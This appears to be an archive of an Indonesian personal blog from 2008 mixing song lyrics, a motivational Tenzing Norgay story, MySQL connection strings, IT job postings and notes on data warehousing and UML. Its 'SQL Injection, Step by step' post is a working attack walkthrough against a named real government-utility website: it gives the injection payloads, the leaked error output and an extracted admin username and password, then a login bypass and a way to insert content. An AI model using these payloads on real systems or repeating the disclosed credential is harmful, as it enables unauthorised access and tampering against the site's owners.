Monday, August 25, 2008

Bukannya Aku Takut

ku tak peduli
bila ku benar-benar cinta mati
ku tak peduli
ku memang begini
bila ku benar-benar cinta mati
ku tak peduli
apa saja yang kau inginkan
aku rela


bukannya aku takut
akan kehilangan dirimu
tapi aku takut
kehilangan cintamu
mungkin saja saat itu
kau mempermainkan aku
seakan kau bisa
membalas cintaku

kau tak kan mengerti
yang slama ini aku rasakan pasti
kau tak peduli
bila saja yang kuinginkan
kamu rela

bukannya aku takut
akan kehilangan dirimu
tapi aku takut
kehilangan cintamu
mungkin saja saat itu
kau mempermainkan aku
seakan kau bisa
membalas cintaku

Thursday, July 3, 2008

Always Be My Baby (David Cook)

We were as one babe
For a moment in time
And it seemed everlasting
That you would always be mine
Now you want to be free
So I'm letting you fly
Cause I know in my heart babe
Our love will never die, no

You'll always be a part of me
I'm a part of you indefinitely
Girl don't you know you can't escape me
Ooh darling cause you'll always be my baby
And we'll linger on
Time can't erase a feeling this strong
No way you're never gonna shake me

Ooh darling cause you'll always be my baby

I ain't gonna cry no
And I won't beg you to stay
If you're determined to leave girl
I will not stand in your way
But inevitably you'll be back again
Cause ya know in your heart babe
Our love will never end no

You'll always be a part of me
I'm part of you indefinitely
Girl don't you know you can't escape me
Ooh darlin cause you'll always be my baby
And we'll linger on
Time cant erase a feeling this strong
No way you're never gonna shake me
Ooh darlin cause you'll always be my baby

I know that you'll be back girl
When your days and your nights get a little bit colder oooohhh
I know that, you'll be right back
Ooooh! baby believe me it's only a matter of time

You'll always be a part of me
I'm part of you indefinitely
Girl don't you know you can't escape me
Ooh darling cause you'll always be my baby
And we'll linger on
Time can't erase a feeling this strong
No way you're never gonna shake me
Ooh darling cause you'll always be my,....my baby....

You'll always be apart of me (you will always be)
I'm part of you indefinitely
Girl don't you know you can't escape me
Ooh darling cause you'll always be my baby
And we'll linger on (we will linger on)
Time can't erase a feeling this strong
No way you're never gonna shake me
Ooh darling cause you'll always be my baby
You will always be my baby

Monday, June 30, 2008

Tenzing Norgay

Tenzing Norgay?.....apaan sih.....atau. ..siapa sih...

Tenzing Norgay adalah nama orang, mungkin buat kebanyakan dari kita
akan mengatakan nama yang aneh.....dari negara mana nama tersebut
berasal?.... .
Mungkin Anda pernah membaca atau mendengar namanya...mungkin juga
belum...bagaimana kalau saya sebutkan nama Sir Edmund Hillary...ya
kalau yang ini sih saya sering dengar atau pernah baca biografinya
atau pernah mendapatkan kisah hidupnya dalam sebuah artikel atau
sewaktu mengikuti seminar.
Ya, Sir Edmund Hillary adalah orang pertama di dunia yang berhasil
mencapai puncak gunung tertinggi dunia Puncak Gunung Everest. Tetapi
saat ini bukan Sir Edmund Hillary yang akan kita bahas, tetapi Tenzing
Norgay.

Tenzing Norgay seorang penduduk asli Nepal yang bertugas sebagai
pemandu bagi para pendaki gunung yang berniat untuk mendaki gunung
Everest. Tenzing Norgay menjadi pemandu ( orang nepal menyebutnya
Sherpa ) bagi Sir Edmund Hillary. Pada tanggal 29 Mei 1953 jam11.30,
Tenzing Norgay bersama dengan Sir Edmund Hillary berhasil menaklukkan
Puncak Gunung Tertinggi Everest pada ketinggian 29,028 kaki diatas
permukaan laut dan menjadi orang pertama didunia yang kemudian menjadi
inspirasi dan penyemangat bagi ratusan pendaki berikutnya untuk
mengikuti prestasi mereka. Pada rentang waktu tahun 1920 sampai dengan
tahun 1952, tujuh tim ekspedisi yang berusaha menaklukkan Everest
mengalami kegagalan.

Keberhasilan Sir Edmund Hillary pada saat itu sangat fenomenal
mengingat baru berakhirnya Perang Dunia II dan menjadi semacam
inspirator untuk mengembalikan kepercayaan diri bagi seluruh bangsa di
dunia. Karena keberhasilannya, Sir Edmund Hillary mendapatkan gelar
kebangsawanan dari Ratu Inggris yang baru saja dilantik saat itu Ratu
Elizabeth II dan menjadi orang yang paling dikenal di seluruh dunia.

Tetapi dibalik keberhasilan itu Tenzing Norgay memiliki peran yang
sangat besar, mengapa Tenzing Norgay tidak menjadi terkenal dan
mendapatkan semua yang didapatkan oleh Sir Edmund Hillary padahal ia
adalah sang pemandu yang membantu dan mengantarkannya mencapai Puncuk
Mount Everest? Seharusnya bisa saja ia lah orang pertama yang
menginjakkan kaki di puncak Mount Everest bukan Sir Edmund Hillary.

Sesaat setelah Sir Edmund Hillary bersama Tenzing Norgay kembali dari
puncak Mount Everest, hampir semua reporter dunia berebut
mewawancarai Sir Edmund Hillary, dan hanya ada satu reporter yang
mewawancarai Tenzing Norgay, berikut cuplikannya :

Reporter :
Bagaimana perasaan Anda dengan keberhasilan menaklukkan puncak gunung
tertinggi di dunia?
Tenzing Norgay :
Sangat senang sekali
Reporter :
Andakan seorang Sherpa (pemandu) bagi Edmund Hillary, tentunya posisi
Anda berada di depan dia, bukankah seharusnya Anda yang menjadi orang
pertama yang menjejakkan kaki di puncak Mount Everest?
Tenzing Norgay :
Ya, benar sekali, pada saat tinggal satu langkah mencapai puncak, saya
persilakan dia (Edmund Hillary) untuk menjejakkan kakinya dan menjadi
orang pertama di dunia yang berhasil menaklukkan Puncak Gunung
Tertinggi di dunia....
Reporter :
Mengapa Anda lakukan itu ???
Tenzing Norgay :
Karena itulah IMPIAN Edmund Hillary, bukan impian saya ... impian saya
hanyalah berhasil membantu dan mengantarkan dia meraih IMPIANnya.

Ya, itulah sekelumit kisah tentang seorang pemandu pendaki bernama
Tenzing Norgay. Ia tidak menjadi serakah, ataupun iri dengan
keberhasilan, nama besar dan semua penghargaan yang diperoleh Sir
Edmund Hillary. Ia cukup bangga dapat membantu orang lain mencapai &
mewujudkan IMPIANnya.

DALAM KEHIDUPAN KITA SEHARI-HARI ATAU DALAM DUNIA KERJA, KITA SECARA
PRIBADI ATAU TERKONDISIKAN UNTUK FOKUS KEPADA DIRI KITA SENDIRI, SIAPA
YANG MENDAPAT NAMA, APA YANG KITA DAPATKAN, BONUS, PENGHARGAAN,
INSENTIF DAN SEBAGAINYA.

SEBAGAI RENUNGAN :
BISAKAH KITA MENJADI SEPERTI TENZING NORGAY ?
JAWABANNYA ADALAH ... SEBENARNYA BUKAN BISA ATAU TIDAK ... TAPI MAU
ATAU TIDAK !!!

Wednesday, June 25, 2008

Connection String for MySQL

Berikut connection string yang dipakai untuk MySQL

MyODBC

MyODBC 2.50 Local database


Driver={mySQL};Server=localhost;Option=16834;
Database
=myDataBase;

MyODBC 2.50 Remote database


Driver={mySQL};Server=myServerAddress;
Port
=3306;Option=131072;Stmt=; Database=myDataBase;Uid=myUsername;Pwd=myPassword;

MyODBC 3.51 Local database


Driver={MySQL ODBC 3.51 Driver};Server=localhost;
Database
=myDataBase;User=myUsername;
Password
=myPassword;Option=3;

MyODBC 3.51 Remote database


Driver={MySQL ODBC 3.51 Driver};Server=data.domain.com;
Port
=3306;Database=myDataBase;User=myUsername; Password=myPassword;Option=3;

OLE DB, OleDbConnection (.NET)

Standard


Provider=MySQLProv;Data Source=mydb;
User Id
=myUsername;Password=myPassword;

Connector/Net 1.0 (.NET)

Standard


Server=myServerAddress;Database=myDataBase;
Uid
=myUsername;Pwd=myPassword;

Specifying port


Server=myServerAddress;Port=1234;
Database=myDataBase;Uid=myUsername;
Pwd
=myPassword;

Named pipes


Server=myServerAddress;Port=-1;
Database
=myDataBase;Uid=myUsername;
Pwd
=myPassword;

MySqlConnection (.NET)

eInfoDesigns.dbProvider


Data Source=myServerAddress;Database=myDataBase;
User ID=myUsername;Password=myPassword;Command Logging=false;

SevenObjects MySqlClient (.NET)

Standard


Host=myServerAddress;UserName=myUsername;
Password=myPassword;
Database
=myDataBase;

Core Labs MySQLDirect (.NET)

Standard


User ID=root;Password=myPassword;Host=localhost;
Port=3306;Database=myDataBase; Direct=true;
Protocol
=TCP;Compress=false;
Pooling
=true;Min Pool Size=0;Max Pool Size=100;Connection Lifetime=0;

MySQLDriverCS (.NET)

Standard


Location=myServerAddress;Data Source=myDataBase;
User ID
=myUsername;Password=myPassword;
Port
=3306;Extended Properties="""";

Tuesday, June 24, 2008

Lowongan - Graphic Design

Duta Anggada Group is looking for young intelligent, highly dynamic,
talented and professional people for the below position:

GRAPHIC DESIGN (GD)

Requirements:

* Male / Female
* Minimum Diploma in graphic design
* Experience in Interior Design or related field
* Able to do perspective with 3DMAX / Auto CAD / Photoshop /
illustrator/ Adobe Photoshop, Corel draw and all program in graphics,
etc
* Good personality, creative thinking, service mind character and
accurate
* English oral and written
* Ability to color-match and to understand and work fast
* Ability to create and develop new ideas and to produce different
designs along same themes.
* Able to work as a team

An attractive remuneration package will be given to the suitable
candidate/s.

Please send your CV and Application Letter not later than 1 week after
this advertisement.

Send your CV to:

Recruitment

DUTA ANGGADA GROUP

Chase Plaza, Lantai 21

Jl. Jenderal Sudirman Kav. 21

Jakarta Selatan 12920

Or e-mail to: recruitment@ dutaanggada. com

Lowongan - Freelance Web Design

Dibutuhkan banyak tenaga freelance web design dengan ketentuan sebagai
berikut:
- Menguasai satu atau beberapa aplikasi CMS seperti joomla, mambo,
xoops, drupal, worldpress, dan sebagainya.
- Bisa membuat logo produk maupun perusahaan
- Bisa membuat template web dan memasukannya kedalam website
- Bisa bekerja berdasarkan deadline
- Tidak terikat pada lokasi, yang terpenting bisa akses internet

Kirimkan email aplikasi tanpa attachment ke cs@lebahmadu. net

Lowongan - Flash Programmer & Designer + Graphics Designer Very URGENT

Flash Programmer & Designer (1 orang) + Graphics Designer ( 1 orang)
Very URGENT

Dibutuhkan segera [urgent]

- Flash Programer & Designer

Requirement :

1. Male/Female (Fresh Graduated are welcome)
2. Binus University (Diutamakan)
2. Menguasai M. Flash dan Action Script
3. Kreatif, Ulet, semangat dan Banyak Ide
4. Menguasai tool-tool desain
(Flash, Adobe Photoshop, Corel)
5. Mengerti dasar-dasar pembuatan Desain Web
(HTML,CSS,Javascrip t)
6. Mempunyai beberapa karya Flash/Portpolio (sertakan)

- Graphics Designer

1. Female (Fresh Graduated are welcome)
2. Binus University (Diutamakan)
3. Menguasai tool-tool desain
(Adobe Photoshop, Corel Draw, Freehand etc)
4. Bisa dan pernah membuat poster
sertakan portpolio anda
5. Mengerti penggunaan M. Flash
6. Kreatif, Ulet, semangat dan Banyak Ide

PT.INDOMOG
Gedung Menara Mulia
17th Floor Suite 1710
Jl. Gatot Subroto Kav 9-11
Jakarta 12930

Apply Now :
admin@indomog. co.id

Lowongan - Web Content Administrator

Sebuah perusahaan desain & multimedia terkemuka di Surabaya membutuhkan Web Content Administrator (by project) dgn syarat sbb:

- Cewek/Cowok
- Berpengalaman
- Menguasai Bahasa Inggris lisan/tulisan dgn baik (familiar melakukan korespondensi dengan native speaker)
- Bersedia ditempatkan di Jakarta/ Balikpapan

Bagi teman2 yang berminat, bisa langsung japri ke: sonarendra@gmail. com

lamaran ditunggu paling lambat Sabtu, 28 Juni 2008.

Lowongan - Web Master

URGENTLY REQUIRED

We, a fast growing Information Technology consulting firm, are currently
looking for energetic and self motivated IT professionals to fill in the
position below:

Web Master

code: WEM

Selected candidates will work peer-to-peer with clients on client's
site in Jakarta.

Qualifications:

* D3/S1 graduate with minimum 2 years working experience in
maintaining web sites.
* Having knowledge and experience in ASP and PHP programming is
a must.
* Having knowledge of .NET is definitely an advantage
* Understanding of RDBMS technology is required.
* Able to work in team and have excellent problem solving skills
* Fast learner, highly motivation and outstanding performance.
* Able and willing to work under pressure, irregular hours
* Able to travel and assume job assignment anywhere in
Indonesia.
Interested candidates should send their application, CV and recent
photograph not later than July 4th, 2008 to:
HRD@prentisconsulti ng.com

All applications will be treated as strictly confidential ones. Please
only send application, CV, and photograph, no need to attach
certificates.

Applicants should be able to demonstrate their knowledge through
programming test before interview.

Lowongan - ZTE Indonesia

PT. ZTE Indonesia as subsidiary company of ZTE Corporation is one of the
leading telecommunication solution suppliers based on China providing total
solution to telecom carriers worldwide. ZTE's over 26,000 employees are
working in more than 70 countries and regions in Asia, America, Europe,
Africa, etc. In coping with our expansion in local market depending on our
Indonesian large project demand, ZTE is looking for outstanding employees in
Indonesia to fill in the vacant position (See Below File)

We would like to invite the qualified candidates that meet our requirements
to join our Great Team. Please send your resume completely (CV, recent
photograph, photocopy of ID Card, certificate and academic transcript)
please quote job reference code you wish to apply as a letter subject (e.g.:
OPP-ALL) or you can send email to: hrindonesia@ zte.com.cn Further
information, you could contact Me at +622125542606 Ext.2678 or Email at
M.MirzaSaputra@ zte.com.cn

Note : All-All Over Indonesia, JKT-Jakarta, MKS-Makasar, BJM-Banjarmasin,
BLK-Balikpapan

P.S : Application MUST in English.

PROPERTY MANAGEMENT BUSINESS STAFF

(PMB-ALL)

* Strong communication and interpersonal skills, including the ability
to communicate a clear vision in a wide range of fore and a variety of
media;
* The ability to negotiate effectively with external specialists,
consultants and suppliers, and
* Experience of contributing effectively to strategy, planning and
decision-making
* Educated to degree level or equivalent qualification in an
appropriate Estate Management discipline, and be a member of an appropriate
professional body, for example the Indonesian Real Estate Organization.
* Knowledge and application of project leadership and management,
preferably including formal project management methods
* Sound knowledge of benchmarking and improving cost efficiency and
income generation through analysis of resources and management models; the
ability to read and interpret financial reports
* Knowledge of tender procedures and contract management
* A track record of success in responsible roles in estate management,
preferably including experience of leading a significant portfolio in a
multi-site organisation.
* Experience of sound financial management, including the development
of persuasive business cases, business plans and budgets.
* Experience of change management, in particular the human aspects of
change
* Experience of and commitment to mainstreaming Equal Opportunities
and Diversity policies and objectives
* Quality enhancement and the learning and development of self and
others
* Continuous improvement in the quality of service delivery
* Responsible to monitoring Trouble Ticket Feedback in regional office
* should be able to travel as necessary within the Indonesia and
overseas, although this is not expected to be a substantial part of the role

Best Regards,

Muhamad Mirza Saputra

HR Dept,

ZTE Indonesia, PT

The East Building, 26th Floor

Lingkar Mega Kuningan, Kav.E3.2 No.1

South Jakarta 12950

Phone +62 21 2554 2606 Ext.2678

Fax +62 21 2554 2067

Mobile +62 815 1902 1234 (Sorry No SMS)

Email M.MirzaSaputra@ zte.com.cn

Website www.zte.com.cn

Lowongan - IT Officer

PT. SMART Tbk. perusahaan agribisnis yang bergerak di bidang perkebunan

dan teknologi pengolahan kelapa sawit dalam rangka ekspansinya

membutuhkan profesional unggulan untuk menduduki posisi-posisi sebagai berikut :

IT Officer (IT)

Kualifikasi

1. Menguasai installation & trouble shooting LAN / WAN
2. Menguasai installation & trouble shooting PC (windows) & Application
3. Design & Develop custom PHP + My SQL Application
4. Develop and general customize report HTML / Web page
5. Experiences in the same position min 3 years

Please send your CV & recent photograph to :

hrdref@smart- tbk.com

Data Warehouse

DATA WAREHOUSE

Adalah kumpulan dari komponen-komponen perangkat keras dan perangkat
lunak yang dapat digunakan untuk mendapatkan analisa yang lebih baik dari
data yang berjumlah sangat besar sehingga dapat membuat keputusan yang
baik.

Dengan kata lain sebagai gudang data.
Manfaat Data Warehouse
Data Warehouse biasanya digunakan untuk:
1. Memahami trend bisnis dan membuat perkiraan keputusan yang lebih
baik.
2. Menganalisa informasi mengenai penjualan harian dan membuat

keputusan yang cepat dalam mempengaruhi performance perusahaan.
Data Warehouse Customer Example

Salah satu pelanggan AS/400, menemukan kesulitan dalam hal informasi
penjualan yang dibutuhkan untuk dapat memperluas bisnisnya. Tiap bulan
laporan penjualan sederhana tidak tepat waktu atau tidak mendetail sehingga
sangat tidak membantu. Untuk membantu membuat keputusan bisnis,
perusahaan ini perlu dianalisa latar belakangnya sehingga dapat menemukan
titik-titik trends bisnis.

Dengan AS/400 data warehouse-nya yang baru, para penjual dari
perusahaan ini dapat membentuk strategi penjualan berdasarkan informasi
yang diberikan warehouse. Informasi ini termasuk mengenai the success of
previous promotions, regional trends, product profitability dan the effect of
product packaging.

Perusahaan lain seperti departemen, seperti keuangan dan operasi, juga
menggunakan warehouse untuk mengidentifikasi dan menganalisa produk
yang berhasil menyeberangi daerah, penjualan dan waktu.
Data warehouse dapat sebagai kunci pembeda dalam suatu industri-industri
yang berbeda.

Aplikasi Data Warehouse meliputi:
1. Sales and marketing analysis across all industries.
2. Inventory turn and product tracking in manufacturing.
3. Kategory manajemen, analisa penjualan, dan perbaikan analisa
program pemasaran yang efektif.
4. Keuntungan dari jalan raya atau analisa resiko pengemudi dalam hal
transportasi.
5. Analisa keuntungan atau resiko penetapan pajak atau mendenda
dalam bank.
6. Analisa tuntutan dari deteksi penggelapan dalam asuransi.

SQL Injection, Step by step

/*********************************************************
* SQL Injection, step by step.
*
* No Warranty. This tutorial is for educational use only,
* commercial use is prohibited.
*
**********************************************************/

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).

Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------

Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL

Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur fieldfield
tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.

Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.
Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.

Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u
Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba
Atau kita pakai jalan pintas saja....
Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.

Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.

Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.

Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.
******************************************************

KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.

Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )

Referensi :
[+] sqlinjection, (www.BlackAngels.it)
[+] anvanced sql injection in sql server applications (www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Monday, June 23, 2008

Designing A System (OOAD UML)


SDLC adalah Software Development Life Cycle. Di dalamnya ditentukan fase-fase pembangunan suatu software, mulai dari Initiation, Software Concept, Planning, Requirements Analysis, Design, Development (Coding), Testing, Implementation, Operation and Maintenance, dan Disposition (jika perlu). Singkatnya, SDLC adalah sebuah metodologi.


OOAD adalah Object Oriented Analysis and Design. OOAD juga sebuah metodologi dan merupakan subset dari SDLC. Di dalam OOAD ditentukan metoda-metoda yang harus dilakukan pada tahap Software Concept, Requirements Analysis, dan Design.


Sedangkan UML (Unified Modeling Language) adalah sebuah alat yang digunakan dalam menjalankan tahap-tahap yang terdapat di dalam metodologi (SDLC, OOAD). UML digunakan untuk melakukan pemodelan software pada tahap Software Concept (scope, business process, boundary), Requirements Analysis, Design, dan Implementation.


Aq sendiri masih belum menemukan cara penggunaan UML yang tepat sesuai dengan metodologi yang digunakan, khususnya OOAD. Sangat sedikit sekali informasi yang menyediakan free tutorial penggunaan UML di dalam tahap-tahap OOAD ataupun SDLC di Internet. Sebagian besar disediakan dalam bentuk training.. Bahkan OMG sendiri yang membuat spesifikasi UML, tidak memberikan informasi tsb.


So you get the idea that in OO, yg actually susah adalah modeling the Domain. Creating the Domain Model. Entity apa aja yg mesti ada, suatu Entity punya data dan behavior apa saja, lalu hubungan antar Entity, apakah perlu ada generalisasi, dsb. This is the real OO challenge. OOAD-nya, bukan diprogramming atau coding-nya. Kalau bikin2 class doang, nambahain methods & properties sih piece of cake. Tapi apakah Domain Model-nya sudah benar?


Nah, Domain Modeling ini adalah PURE MENTAL ACTIVITY. Spt halnya Matematika atau Main Catur. Orang banyak mengalami kesulitan karena memang berpikir abstrak (mental) itu tidak mudah. Tidak semua org "gifted" dgn talent tsb, atau tidak semua orang cukup punya tenacity (kegigihan) utk melatih-nya.


Kalau masalah programming-nya sih, as I always say, VERY EASY. Apalagi nanti dgn adanya ADO.NET Entity Framework. Classes & tables can be generated from our models. Lalu utk CRUD tinggal panggil metod "SubmitChanges()", utk UI tinggal databind, dsb. Programming part-nya is become easier and easier sejalan dgn advancement di language, library, tools dan software engineering.


Nah, meski dgn hal canggih macam ADO.NET Entity Framework, kita tetap harus melakukan MENTAL ACTIVITY yaitu membuat DOMAIN MODEL. Tools spt VSTS, ADO.NET Entity Framework, Rational, etc are just tools. Sama kayak catur,mau dari kayu, dari besi, dari plastik, dari kertas yg ditulisin "raja", "pion", maen lawan komputer, etc hingga benar2 pure mental bisa kita lakukan, tp intinya, catur itu IS A MENTAL GAME.


Doing Domain Modeling juga gitu, mau pakai CRC Cards, UML pakai spidol di whiteboard, pakai pulpen di kertas, pakai Rational Tools, VSTS, atau mau PURE MENTAL dari kepala langsung ketik code, dsb semuanya mungkin. Tp intinya, tetap ada MENTAL ACTIVITY utk creating the domain model. To create a mental picture of the model.


Nah, OO itu bagi sebagian orang mjd "sulit" atau "merepotkan" karena sebagian orang memang tidak bissa/tidak comfort work mentally, atau work in abstract. Kalau dari sisi tools, sdh banyak tools canggih sehingga kita tidak repot menggambar/"membuat" model-nya. Bahkan tools2 Code Gen malah bisa generate codes and tables. So, dari sisi berpikir abstrak-nya lah yg banyak org merasa "sulit" atau "merepotkan". Atau lebih parah, org2 yg think OO is all about nulis code!.



Perbandingan Konstruksi Perulangan dalam Bahasa BASIC, Pascal dan C

Konstruksi perulangan dibedakan menjadi dua macam, yaitu perulangan tak kondisional dan perulangan kondisional. Perulangan kondisional sendiri masih dapat dibagi lagi menjadi dua macam, yaitu perulangan dengan pengecekan kondisinya berada di depan (sebelum setiap langkah dimulai) dan perulangan yang pengecekan kondisinya di bagian belakang atau akhir setiap langkah.
Artikel ini merupakan kelanjutannya, dengan lebih mefokuskan pada penjelasan implementasi konstruksi perulangan di berbagai bahasa pemrograman yang ada saat ini disertai dengan perbandingannya. Walaupun pada akhirnya setiap bahasa memiliki implementasinya sendiri-sendiri namun masih banyak terdapat kemiripan yang muncul karena adanya kesamaan ide dasar.

